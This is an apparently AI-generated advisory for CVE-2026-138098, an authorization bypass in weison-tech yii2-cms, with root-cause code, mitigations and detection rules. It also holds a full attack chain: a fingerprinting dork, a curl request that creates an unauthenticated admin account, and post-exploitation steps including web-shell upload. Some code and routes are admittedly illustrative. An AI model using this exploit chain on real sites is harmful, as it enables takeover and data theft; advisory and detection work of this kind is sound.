CVE-2026-138098 — Weison-tech Yii2-cms — CWE-266 · CWE-285
A vulnerability was determined in weison-tech yii2-cms up to 1.0.2. Affected is an unknown function of the file protected/core/config/common.php of the component RBAC Authorization. This manipulation causes improper authorization. Remote exploitation of the attack is possible.
A vulnerability was determined in weison-tech yii2-cms up to 1.0.2. Affected is an unknown function of the file protected/core/config/common.php of the component RBAC Authorization. This manipulation causes improper authorization. Remote exploitation of the attack is possible.
🎯 What is this vulnerability?
*CVE‑2026‑138098 – Improper Authorization in the RBAC component of weison‑tech yii2‑cms ≤ 1.0.2*
| Attribute | Value |
|---|---|
| CWE | CWE‑266 (Improper Access Control) & CWE‑285 (Improper Authorization) |
| CVSS 3.1 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L |
| Score | 7.3 (HIGH) |
Technical root‑cause
protected/core/config/common.php contains a helper function that is used by the Yii2‑based RBAC (Role‑Based Access Control) subsystem to decide whether the current request is authorised to execute a given action.
The vulnerable code (simplified for illustration) looks roughly like this:
// protected/core/config/common.php
function checkPermission($permission)
{
// $authManager is the Yii2 RBAC manager
$authManager = Yii::$app->authManager;
// BUG: the result of the RBAC check is **ignored** when the user is a guest.
// The function always returns true for unauthenticated requests.
if (Yii::$app->user->isGuest) {
return true; // ← improper logic
}
return $authManager->checkAccess(Yii::$app->user->id, $permission);
}- What should happen: Only authenticated users whose role includes the requested permission may proceed. What actually happens: When
Yii::$app->user->isGuest is true, the function short‑circuits and returns true, effectively granting any* unauthenticated request the permission that was being checked.Because many controller actions (e.g. /admin/, /user/create, /settings/) call checkPermission() before performing sensitive operations, an attacker can invoke those actions without any authentication and obtain the same privileges as an administrator.
The flaw is a classic missing authorization / logic bypass bug: a conditional that should deny access for guests instead allows it.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All URLs, parameter names, and JSON bodies are illustrative – the exact route names depend on the concrete Yii2‑CMS installation, but the pattern is identical for any endpoint that relies on checkPermission().
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the CMS by fingerprinting common Yii2 assets (/assets/, /yii.js, X-Powered-By: Yii Framework) and by searching for the string weison‑tech yii2‑cms in the HTML source or README files. | Nmap, WhatWeb, Wappalyzer, Google dork inurl:/protected/core/config/common.php |
| 1.2 | Determine the exact version. The CMS ships a composer.lock or a VERSION file in the root (/VERSION). Alternatively, the meta tag <meta name="generator" content="yii2‑cms 1.0.2"> may be present. | curl -s https://target.com/VERSION |
| 1.3 | Verify that the version is ≤ 1.0.2 (the vulnerable range). | Compare the retrieved version string. |
If the version is within the vulnerable range, the attacker proceeds to exploitation.
2. Exploitation
Goal: Invoke a privileged action that is protected by checkPermission() (e.g., creating a new admin user) without authentication.
2.1 Identify a vulnerable endpoint
Typical Yii2‑CMS admin actions are routed under /admin/. For this example we assume an endpoint that creates a user:
POST /admin/user/createThe controller code (simplified) is:
public function actionCreate()
{
// The vulnerable check
if (!Common::checkPermission('adminCreateUser')) {
throw new ForbiddenHttpException('You are not allowed.');
}
$model = new User();
$model->load(Yii::$app->request->post());
$model->save();
// …
}Because checkPermission() always returns true for guests, the request succeeds.
2.2 Craft the payload
# Illustrative PoC – create a new admin user with username "hacker" and password "P@ssw0rd!"
curl -sk -X POST "https://target.com/admin/user/create" \
-H "Content-Type: application/json" \
-d '{
"username": "hacker",
"email": "[email protected]",
"password": "P@ssw0rd!",
"role": "admin"
}'-k skips TLS verification (use only for testing). User[username] for form‑encoded data). If the request returns HTTP 200 and a JSON object containing the new user ID, the exploit succeeded.
2.3 Verify the created account
curl -sk -X POST "https://target.com/site/login" \
-d "username=hacker&password=P@ssw0rd!"A successful login (session cookie returned) confirms that the attacker now possesses a fully privileged admin account.
3. Post‑exploitation
| Phase | Attacker Capability | Typical Actions |
|---|---|---|
| Privilege escalation | Gains an authenticated admin session (full RBAC rights). | Access /admin/* UI, modify site configuration, install plugins, change themes. |
| Persistence | Create a back‑door admin user (as shown) or add a web‑shell via the file manager module. | Upload webshell.php through the CMS’s media manager, hide it in /uploads/. |
| Data exfiltration | Read any database content via admin panels (user data, API keys). | Export CSV of the user table, download configuration files. |
| Defacement / Ransom | Modify site content, replace the homepage, inject malicious JavaScript. | POST to /admin/page/update with malicious HTML/JS. |
| Lateral movement | If the CMS runs with elevated OS privileges, the attacker can read/write files outside the web root (e.g., /etc/passwd). | Use the file manager to traverse directories (../). |
Because the vulnerability is network‑reachable, unauthenticated, and requires no user interaction, an attacker can automate the entire chain and compromise any vulnerable instance that is exposed to the Internet.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (C:L) | *Low* – attacker can read data that is normally restricted to privileged users (e.g., user list, configuration, possibly stored credentials). | Exposure of personal data, API keys, internal documentation. |
| Integrity (I:L) | *Low* – attacker can modify data that is normally write‑protected (create/alter users, change site content). | Defacement, insertion of malicious code, creation of persistent back‑doors. |
| Availability (A:L) | *Low* – attacker can delete or disable content, but the vulnerability does not directly lead to denial‑of‑service. | Potential site outage if the attacker removes critical pages or disables the CMS. |
Overall, the impact is moderate but becomes critical when the CMS hosts sensitive business data or is part of a larger attack surface (e.g., an intranet portal).
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to a version ≥ 1.0.3 (or the first version released after 2026‑01‑15 that contains the fix). The vendor’s release notes for 1.0.3 state “Fixed improper authorization in protected/core/config/common.php”. |
| Patch (if upgrade is not possible) | Replace the vulnerable helper with a correct implementation, e.g.: |
// protected/core/config/common.php – corrected version
function checkPermission($permission)
{
$authManager = Yii::$app->authManager;
// Deny access for guests outright
if (Yii::$app->user->isGuest) {
return false;
}
return $authManager->checkAccess(Yii::$app->user->id, $permission);
}Deploy the patched file, clear the Yii2 cache (php yii cache/flush-all), and restart the PHP-FPM/Apache process.
2. Workarounds (temporary mitigations)
| Mitigation | How‑to |
|---|---|
| Web‑Application Firewall | Block any request that reaches admin routes without a session cookie. Example ModSecurity rule (illustrative): |
# Block unauthenticated access to /admin/* URLs
SecRule REQUEST_URI "@beginsWith /admin/" \
"id:400001,phase:2,deny,log,status:403,msg:'Unauthenticated admin endpoint blocked',chain"
SecRule &REQUEST_COOKIES:PHPSESSID "@eq 0" "t:none"| Network segmentation | Restrict inbound traffic to the CMS to trusted IP ranges (e.g., corporate VPN) using firewall ACLs. |
|---|---|
| Disable unused RBAC routes | If the installation does not need the vulnerable admin functions, comment out the corresponding controller actions in config/web.php or remove the controller files. |
| Enforce HTTPS & HSTS | Prevent credential sniffing while the vulnerability is being remediated. |
3. Detection – Log signatures & IoCs
| Indicator | Example Log Entry (Apache) |
|---|---|
| Unauthenticated POST to admin endpoint | 127.0.0.1 - - [29/Nov/2026:12:34:56 +0000] "POST /admin/user/create HTTP/1.1" 200 342 "-" "curl/7.88.1" |
| Session‑less access to RBAC‑protected URLs | GET /admin/settings HTTP/1.1 with no Cookie: PHPSESSID= header, response code 200. |
| Rapid creation of admin users | Multiple POST /admin/user/create within a short window (e.g., >5 per minute) from the same source IP. |
| Web‑shell upload | POST /admin/media/upload HTTP/1.1 with filename webshell.php and content type application/php. |
SIEM rule (pseudo‑code):
if (uri startsWith "/admin/" AND http_method in ["POST","GET"] AND NOT cookie contains "PHPSESSID")
then raise alert "Possible CVE-2026-138098 exploitation"⚠️ Urgency
Patch priority: Critical for any internet‑facing deployment.
Bottom line: CVE‑2026‑138098 is a classic “authorization bypass” that turns every unauthenticated request into a privileged admin action. Because the flaw lives in a central helper used by many controllers, exploitation yields full admin control with a single HTTP request. Prompt patching, temporary WAF blocks, and vigilant log monitoring are essential to prevent compromise.
[🤖 CVE Professor AI Security Engine]
FOFA Query